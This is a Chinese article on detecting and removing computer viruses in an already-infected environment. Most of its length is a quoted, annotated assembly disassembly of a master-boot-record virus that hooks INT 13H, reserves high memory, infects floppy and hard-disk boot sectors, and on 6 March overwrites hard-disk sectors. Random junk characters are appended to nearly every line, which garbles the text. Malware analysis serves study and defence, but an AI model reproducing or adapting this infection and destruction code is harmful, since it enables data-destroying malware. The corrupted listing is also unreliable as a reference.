近年来,新的计算机病毒发展十分猖獗,而且这些新病毒更加隐蔽 、复杂,某些新病毒所具有的破坏性更大,所带来的损失无法估量 。这表明计算机病毒的防治尤为重要,同时所面临的形势也更加严 峻 。本文就在带毒环境下检测清除病毒的方法问题提出一点体会与看法 。 L)/^%/!
?? ~px)Jd
?? 一 、 带毒环境下检测清除病毒的意义 WzO[-csy
?? V]A*' ke/
?? 目前在我国流行的病毒一般可分为引导型病毒 、文件型病毒和混合型病毒 。引导型病毒的特点是它寄生在软盘的DOS引导扇区和硬盘的主引导记录或DOS引导区中 ,开机时由计算机自动读入内存中执行文件型病毒则将自身附加在可执行文件上 ,在执行被感染程序时,病毒首先获得控制权,进行驻留或破坏等活动。混合型病毒既能感染引导区也能感染可执行文件,具有更强的传染性。常用的杀毒软件有瑞星2004、金山毒霸、KV300 、公安部的KILL 、美国McAfee公司的SCAN和CLEAN等 ,这些软件各有自身的优点。但是在一个带毒的环境下,也即在病毒已经驻留在内存中的情况下,这些杀毒软件都存在不足并可能带来一些不良的后果。 wE09%
?? zRF+D+
?? 当系统感染一种已知病毒时,KILL和SCAN 发现内存中有病毒后,一般是拒绝继续执行,并要求用干净的盘重新启动。KV300发现类似的警告信息,但提供给用户一个选择的机会,以确定是否继续执行, 很显然 ,若用户选择继续 ,所带来的后果是不可预期的。 $8Y|&P
?? wg 6
?? 当系统感染一种未知病毒时,三种软件在未发现内存中有已知病毒后,都假设系统中无病毒,忠实地执行检测或清除功能。事实上,这个未知病毒可能会在检测时传染盘中所有的可执行文件。 _,]@xFCOH
?? 3!KEk?I]
?? 由上面的讨论可知,清查病毒时只有从绝对干净的盘启动,而且要求杀毒软件自身无毒,才能够保证万无一失。然而,由于人们相互拷贝各种软件,很大程度上帮助了病毒的传播,在许多情况下, 要获得一张干净的启动盘很不容易,并且对于一些对计算机系统了解不是很多的使用者来说,他们根本 无法断定一张启动盘是不是干净的。因此,探讨在带毒环境下进行病毒检测和清除的方法是很有意义的 。 }Fgp*x-G
?? &$E.rgtg
?? 二 、带毒环境下检测清除病毒的原理 )u(Dq u\t
?? bmGtYv
?? 对于一个驻留内存伺机进行传染和破坏的病毒来说,一般都要截取某些中断向量,当其他程序调用这些中断时,病毒重新取得控制权,判断是否满足特定的条件,满足则激活传染或破坏部分,在条件不满足的情况下一般是调用原中断服务程序,实现正常的系统功能。 GxcW^{;
?? 引导型病毒常接管INT13H、08H、10H等中断;文件型病毒则常接管INT21H、24H、25H、26H、1CH 、13H、10H等中断。 8AVG pL
:l?/]K
B"fKv0
举一个例子: 该例子转自黑白网络"一个主引导区病毒的分析 作者:sinister " /kK:{
病毒体: Hqm1[G)
JMP 01AF ;JMP到01AF V(6ovJpA0
DB 00 ;病毒标计 UG<`m]
DW 00F5 ;此为搬到高位址后,远程跳转指令 S.A|(?x
DW 9F80 ;目的地,也就是跳下一个指令XOR AX,AX !V;glx[
DB 02 &IgH]?t
DW 0003 ;此为软盘识别标记,硬盘为0007 cu$i8$?t
DW EC59 ; cvl1X"
DW F000 ;INT 13H的原入口 *Wz\FixP0
. b R;Wf5
. LuW^Ga"E
. ,Taq~
. 23WlUM
. b&Go'C{p
XOR AX,AX ;清除AX (J/!9NS:
MOV DS,AX; ;让DS=0000 K_E- Hgg_
CLI ;清I标志积存器 7[u$!.4{*
MOV SS,AX ;把堆栈设为0000:7C00也就是开机 : yC|Q)
MOV AX,7C00 ;后载入引导分区表的地址,目前地址 WL/9r
*jW
MOV SP,AX ;开机时为0000:7CB6 "f<+~
STI ;设I标志积存器 W0>fu>
PUSH DS ;把DS=0000,AX=7C00压栈,留给0B33:024A )MJy
PUSH AX ;用RETF,把程序转到引导或分区表位置 GjvTYg~
MOV AX,[004C] ;取中断向量表中,INT 13H的偏移位置 (dVrGa54
MOV [7C0A],AX ;保存INT 13H的偏移位置,也就是存在 :#zv,U&OC
MOV AX,[004E] ;取INT 13H的段地址 I &I
q
MOV [7C0C],AX ;存到010C ac??lHtH9
;以上是HOOK系统读写盘调用INT 13用病毒体替代原INT 13 `SSUQ#@
;读写以便传播发作 @&M$oI$4*
0vm}[a4+i;
MOV AX,[0413] ;取得内存K数,放在AX JqYt^,,Q:
DEC AX ; vAp?Zl?g
DEC AX ;减2k内存 uA2-&smw
MOV [0413],AX ;存回,通常是638K ^L;k
MOV CL,06 ; Q.Ljz
Z
SHL AX,CL ; &SE+7HXw
MOV ES,AX ;算出减2K后病毒本体的位址 5!)_"u3
MOV [7C05],AX ;AX存入0105 oc3}L^aD
b5Pakz=jNM
;病毒常用手法将系统高段内存减少以便驻留 mMRdnf!Uid
;这样可以免于被其他程序覆盖 bkfk9P
a2N4Jg@
MOV AX,000E ;病毒拦INT 13H @ag*zl
;ISR起始的偏移量 @n:.D9
MOV [004C],AX ; ngHPOI16
MOV [004E],ES ;设原为病毒的INT 13H 6$^dOJ_"
MOV CX,01BE ;病毒长度为1BE H0 .,h;
MOV SI,7C00 ;从JMP 01AF开始 eEG]JH
XOR DI,DI ;DI=0 gELb(Y\ak
CLD ;清方向标志 <"XDIvpc%L
REPZ; '}q1 F<&
MOVSB ;CX=1BE,将病毒自身搬移到高位址,目地是使其引导或 %/x%hs;d
CS: ;分区表能载入0000:7C00正常运作 FI$#x%A
JMP FAR [7C03] ;跳到为搬过后的位址 Tx'ctd#Y
XOR AX,AX ;清AX N$SJK
MOV ES,AX ;ES=0000 !,3U_!
INT 13 ;复位磁盘 ^ M4-O~
PUSH CS ; ~
U,a?LR/
POP DS ;让DS=CS kwd)5J
MOV AX,0201 ;用INT 13H读一扇区,是引导,或分区表则 h*GU7<F:a
MOV BX,7C00 ;读到0000:7C00 AE"E($S`
MOV CX,[0008] ;硬盘第0道,第7扇区 L/R ES
CMP CX,+07 ;比较是否从硬盘启动 kbkq.fYr
JNZ 0213 ;不是跳0213 |r=.}9
-
MOV DX,0080 ;第一硬盘C:第零面 ib%x&?||
INT 13 ;用INT 13号中断,读 t,yzqn
JMP 023E ;跳023E比较日期,发作或正常开机 2i3& 3oz]O
MOV CX,[0008] ;软盘0道,第3扇区 eZWR)+aq
MOV DX,0100 ;A:的第0面 @j Y_^8#S
INT 13 ;INT 13读盘 W^^}-9
JB 023E ;失败跳023E _ooSMp|
PUSH CS MjHjL~Tg
POPES ;让ES=CS uJ! yM;{+
MOV AX,0201 ; wzRIvm{
MOV BX,0200 ; Q5s?/r
MOV CX,0001 ; Xqac$%[3
MOV DX,0080 ; S(f V ,;Z
INT 13 ;读入C:的分区表到0200,以便下面比较 C8 b%r|^#
JB 023E ;失败跳023E Ag!#epi{0
XOR SI,SI ;清SI GCgpe(cQ
CLD ;清方向标志以便比较 a~-^$Fzgy
LODSW ;载入一个WORD到AX S3k>34_%9
CMP AX,[BX] ;比较有无病毒存在..E9AC E |A,NPf%I
JNZ 0287 ;没有则跳0287传染 T?Dq2UW
LODSW ;载入一个WORD到AX xf.2Ig
CMP AX,[BX+02] ;再次确认..0000 >xt*( j&}
JNZ 0287 ;没有跳0287 5E+k}S]M$
XOR CX,CX ;清CX KQ x<{-G6
MOV AH,04 ; +i[w& P
INT 1A ;取得日期 :a4FO
CMP DX,0306 ;是否为三月六日 F& 'HZX
JZ 024B ;是跳024B传染 Y%V|M0 0`
RETF ;把程序交还给引导启动完成 d">Ya !W
DgLSDKO!
步骤4:病毒INT 13代码分析 Y{8L ~U:
方法:U ^8V cm*
PUSH DS ;首先把要用到积存器 YTco;5/
PUSH AX ;入栈保存 ^<e"OV
OR DL,DL ;比较是否为软盘 o\luE{H
.?
JNZ 002F ;如不是则退出传染 H5N(MihT
XOR AX,AX ;AX=0 dIo|i,-
MOV DS,AX ;数据代段=0 n>dM OQb
TEST BYTE PTR [043F],01 ;比较是否为A盘 "p\XaClpz
JNZ 002F ;不是则退出 N3};M~\
POP AX ;将以上保存积存器 adJoT-8P6
POP DS ;弹栈恢复 2rw<]Ce
PUSHF ;压栈标志积存器 Wsr #YNhx|
CS: ;以便执行原INT 13 W&>+~A
CALL FAR [000A] ;执行原INT 13 pP'-}%
PUSHF ;再次压栈 z^f-MgWG
CALL 0036 ;以便跳转到传染程序 _]=` F
l
POPF ;跳转到执行传染 i`g>Y5
RETF 0002 ;结束中断调用返回 N[$(y}
!s
POP AX ;恢复 bz~-uHC
POP DS ;堆栈 _l?5GLl_F$
CS: ;跳转到原正常INT 13 f-\l<o(
JMP FAR [000A] ;地址执行 Zv=p0xH
]'aGoR
;此段代码中展现了病毒常用手法,利用标志积存器做跳转 -BV&u(
g(:y_EpmLH
步骤5:传染过程分析 B%Yb+M&K
方法:U N[}XLhbt
对软盘传染过程: V,uhBMT#
PUSH AX ;工 A&5$eGe9
PUSH BX ;作 Oh:SH|=]#
PUSH CX ;寄 F|V co]"S1
PUSH DX ;存 MjI}fs<
PUSH DS ;器 55oLj.l^j
PUSH ES ;入
KG#|Cq
PUSH SI ;栈 iR#jBqXD
PUSH DI ;保存 ,gU9ywg
PUSH CS ;以压/弹栈方式 &%Hj.
POP DS ;使数据段DS和 )`rC"N)
PUSH CS ;附加段ES均指向
=*'X
POP ES ;代码段CS $gZ|=(y&r
MOV SI,0004 ;试4次 eT+MN`
MOV AX,0201 ;设置各 ?<w +{
MOV BX,0200 ;积存器 "VWxHRVg4M
MOV CX,0001 ;为读软盘 s=huOjKL]
XOR DX,DX ;引导扇区做准备 +V|]:{3W
PUSHF ;压栈标志积存器 /$rS0@p
CALL FAR [000A] ;正常的INT 13调用 @fpxGMy&
JNB 0063 ;成功则转判断 "`:#sF9S
XOR AX,AX ;不成功复位 )m[!HE`cZ
PUSHF ;磁盘继续读 PyHE>C%
CALL FAR [000A] ;如果4次 d*3R0Q|#{
DEC SI ;均匀不成功 ?=IbiT
JNZ 0045 ;则退出跳转 qRB7I:m-Wi
JMP 00A6 ;退出传染 vfhip"1
XOR SI,SI ;SI=0以便用 Qb# S)[6s+
CLD ;LODSW读入软盘 V!KtF
LODSW ;第1或第2字进行比较 y&__2t^u
CMP AX,[BX] ;比较如果不包含病毒标志 TF^]^XS'
JNZ 0071 ;则跳转写传染 3iWLo Qm
LODSW ;如果已有标志 t9pPG {1
CMP AX,[BX+02] ;则退出 nbpN+a%
JZ 00A6 ;传染子程序 7<.f&1MgI
MOV AX,0301 ;为写盘准备 xs &vgel>
MOV DH,01 ;如果是360K ,75,~
MOV CL,03 ;则写到1面0道3扇区 y i@61XI
CMP BYTE PTR [BX+15],FD ;比较软盘 dl{3fldb
JZ 0080 ;如果大于360K v2@M,xbxF:
MOV CL,0E ;写到1面0道14扇区 V43JY_:
MOV [0008],CX ;写病毒标志到软盘 udc9$uO
PUSHF ;调用原INT 13 `%ymg8^
CALL FAR [000A] ;进行传染 00pHnNoxW
JB 00A6 1shvHmrV
MOV SI,03BE ;以下是将正常 5o~Z>
MOV DI,01BE ;引导扇区从 EoY#D'[
MOV CX,0021 ;1BE起的21字节内容 K0I-7/L
CLD ;搬移到病毒程序尾部 )kUq2-r
REPZ ;开始复制 ?qK:P
MOVSW w-nkf
M~
MOV AX,0301 ;写盘功能调用,写一个扇区 ^ O`
XOR BX,BX ;将病毒程序 nMc-kyl{
MOV CX,0001 ;写入软盘引导扇区内 9J]LV'f7
XOR DX,DX ;设置为软盘 t%dPj8~
PUSHF cRg$~rYd
CALL FAR [000A] ;执行正常INT 13调用写盘 56':U29.]
POP DI ;将 *gT
TI;:
POP SI ;工 Ra*9d]N@
POP ES ;作 BLJ-'8G
POP DS ;寄 "J{,P9P6
POP DX ;存 b`:Eo+p
POP CX ;器 L7xTAFe
POP BX ;退 !E7/:t4
POP AX ;栈 d#z67Nl6
RET ;返回调用处 "{0kg'fU
对硬盘传染过程: ng 6G<hi
MOV CX,0007 ;第7扇区 W4YC5ZH{l
MOV [0008],CX ;此处为硬盘引导标记 4*dT|NU
MOV AX,301 ;写功能调用 "1#,d#Q $
MOV DX,0080 ;设置为硬盘 |n&6z
INT 13 ;将正常引导扇区写到0面0道7扇区内 -0\$JAyrx
JB 13E ;失败则转 7I.[1V`
MOV SI,03BE ;原分区表地址 yWK[@;S]%
MOV DI,01BE ;目标地址 IaF79}^
MOV CX,0021 ;整个分区表 oD}I{&=wa
REPNZ L |H{;r'
MOVSW ;开始复制 P2Eyqd8
;此段代码是将硬盘分区信息,搬移到病毒程序尾部 k<f*ns
;这样在分析着查看硬盘分区信息时仍能看到该部分 i/Hi
;内容,以次来麻痹分析者 HxM-VK '
MOV AX,0301 ;准备写病毒提进硬盘 !{3pp
XOR BX,BX ;病毒体位置 uIPR*9~6o
INC CL ;第一扇区 $i`YtV
INT 13 ;开始写盘传染 9%dNktt
JMP 013E ;转到13E处判断是否为3月6日,是则发作 Z2 @&4_P
QDDSJ>l5_T
步骤6:破坏过程分析 A P\E
方法:U @)0gXg
主要分析对硬盘数据破坏: k4l72 'P
. `150$*K&B
. (nzzX?`nY
. JEd/j
zR(
. v]1rH$
. EagI)W!s[
MOV DL,80 Fq3;7Cq=hD
MOV BYTE PTR[0007],04 bVrvb`0
;准备写硬盘 =Vv{ td
MOV AL,11 ;写17个扇区 & 3a+6!L[
MOV BX,5000 L@ay4,e.bz
MOV ES,BX ;从内存ES:5000中处开始写 >pYgF=J
INT 13 ;残不人睹 l;C_A;y\
JNB 0179 ;成功转179继续写 BdYh:
XOR AH,AH oc?VAF
INT 13 ;不成功复位磁盘继续 &KB{,:)?
INC DH ;使写操作磁头加1继续? D;E&;vP6%
CMP DH,[0007] ;比较是否小于0007单元值 xSf3Ir(,
JB 0150 ;是则返回开始处继续写 = G_6D
XOR DH,DH ;DH=0 j?,$*Fi
INC CH ;再加扇区 {%$=^XO
JMP 0150 ;反回继续写 mU_O64
;以上操作实际上是对硬盘执行4次写操作,每次17个扇区 %SE g(<